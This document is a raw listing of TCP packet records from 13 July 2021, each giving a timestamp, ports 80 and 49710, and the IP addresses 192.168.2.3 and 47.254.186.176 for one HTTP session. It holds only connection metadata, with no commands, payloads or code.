Jul 13, 2021 14:37:13.147059917 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.147074938 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.147089958 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.147090912 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.147113085 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.147612095 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.147629976 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.147644997 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.147655964 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.147736073 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.147748947 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.147766113 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.147773027 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.147819996 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.147835016 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.147840977 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.148391962 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.148408890 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.148475885 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.148489952 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.148519993 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.148536921 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.148591995 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.148667097 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.148679972 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.148724079 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.149279118 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.149307013 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.149318933 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.149358034 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.149388075 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.149682999 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.149733067 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.149749994 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.149761915 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.149785995 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.149816036 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.149827957 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.149858952 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.149890900 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.150227070 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.150257111 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.150273085 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.150293112 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.150372028 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.150384903 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.150410891 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.150440931 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.150456905 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.150496006 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.150908947 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.150928974 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.150950909 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.150971889 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.150971889 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.151007891 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.151087999 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.151127100 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.151144028 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.151187897 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.151264906 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.151830912 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.151855946 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.151911974 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.151967049 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.151983976 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.152004004 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.152024984 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.152030945 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.152041912 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.152092934 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.152565002 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.152590036 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.152647972 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.152676105 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.152690887 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.152712107 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.152761936 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.152822971 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.152844906 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.152875900 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.152899027 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.153358936 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.153426886 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.153435946 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.153456926 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.153474092 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.153496981 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.153503895 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.153517962 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.153532982 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.153557062 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.153579950 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.154161930 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.154272079 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.154288054 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.154342890 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.154427052 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.154474020 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.154500008 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.154516935 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.154558897 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.154970884 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.155107975 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.155143023 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.155164957 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.155181885 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.155181885 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.155205011 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.155217886 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.155226946 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.155245066 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.155766964 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.155783892 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.155839920 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.155847073 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.155859947 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.155879974 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.155886889 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.155931950 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.155963898 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.155983925 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.156038046 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.156100988 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.156116009 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.156160116 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.156528950 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.156547070 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.156567097 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.156614065 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.156652927 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.156670094 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.156703949 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.156766891 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.156788111 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.156805038 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.156822920 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.156847954 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.157449007 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.157468081 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.157488108 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.157509089 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.157531023 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.157530069 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.157550097 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.157566071 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.157572031 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.157587051 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.157612085 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.157635927 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.158169031 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.158443928 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.158507109 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.158510923 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.158569098 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.158585072 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.158606052 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.158617020 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.158620119 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.158655882 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.158972025 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.158996105 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.159060001 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.159068108 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.159082890 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.159120083 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.159143925 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.159209967 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.159224987 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.159805059 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.159828901 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.159843922 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.159864902 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.159868002 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.159887075 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.159894943 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.159909010 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.159936905 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.160008907 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.160027981 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.160244942 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.160511017 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.160567045 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.160578012 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.160716057 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.160741091 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.160778999 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.160795927 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.160811901 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.160856962 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.160984993 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.161003113 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.161039114 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.161421061 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.161484003 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.161509991 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.161777020 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.161801100 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.161815882 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.161845922 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.161875010 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.162049055 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.162072897 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.162132978 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.162276030 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.162293911 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.162313938 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.162334919 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.162349939 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.162349939 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.162378073 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.163125992 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.163225889 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.163731098 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.163755894 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.163768053 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.163784981 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.163837910 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.163863897 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.163868904 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.163886070 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.163923979 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.163938046 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.163944006 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.164000988 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.164067030 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.164091110 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.164110899 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.164128065 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.164150000 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.164150953 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.164196014 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.164201021 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.164253950 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.164551020 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.164570093 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.164585114 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.164663076 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.164699078 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.164725065 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.164731979 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.164741993 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.164803028 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.164838076 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.165420055 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.165438890 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.165455103 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.165477991 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.165494919 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.165498018 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.165505886 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.165569067 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.165642977 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.165657997 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.165700912 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.166232109 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.166258097 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.166273117 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.166312933 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.166332960 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.166357040 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.166491032 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.166563988 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.166584969 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.166603088 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.166623116 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.166661978 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.167085886 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.167172909 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.167191029 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.167484045 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.167509079 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.167538881 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.167582989 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.167602062 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.167623043 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.167867899 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.167886019 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.167901993 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.167959929 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.167960882 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.167990923 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.168054104 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.168061018 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.168103933 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.168214083 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.168270111 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.168674946 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.168695927 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.168771029 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.168813944 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.168834925 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.168891907 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.168915033 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.168931007 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.168992043 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.169311047 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.169378996 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.169395924 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.169413090 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.169434071 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.169469118 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.169488907 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.169648886 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.169667959 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.169712067 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.170201063 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.170233011 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.170268059 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.170345068 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.170407057 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.170432091 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.170504093 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.170531034 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.170553923 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.170567989 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.170736074 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.171144009 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.171174049 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.171226978 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.171303034 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.171325922 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.171346903 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.171365023 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.171365023 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.171375990 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.171415091 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.171451092 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.171791077 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.171808958 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.171827078 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.171886921 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.171926975 CEST	80	49710	47.254.186.176	192.168.2.3
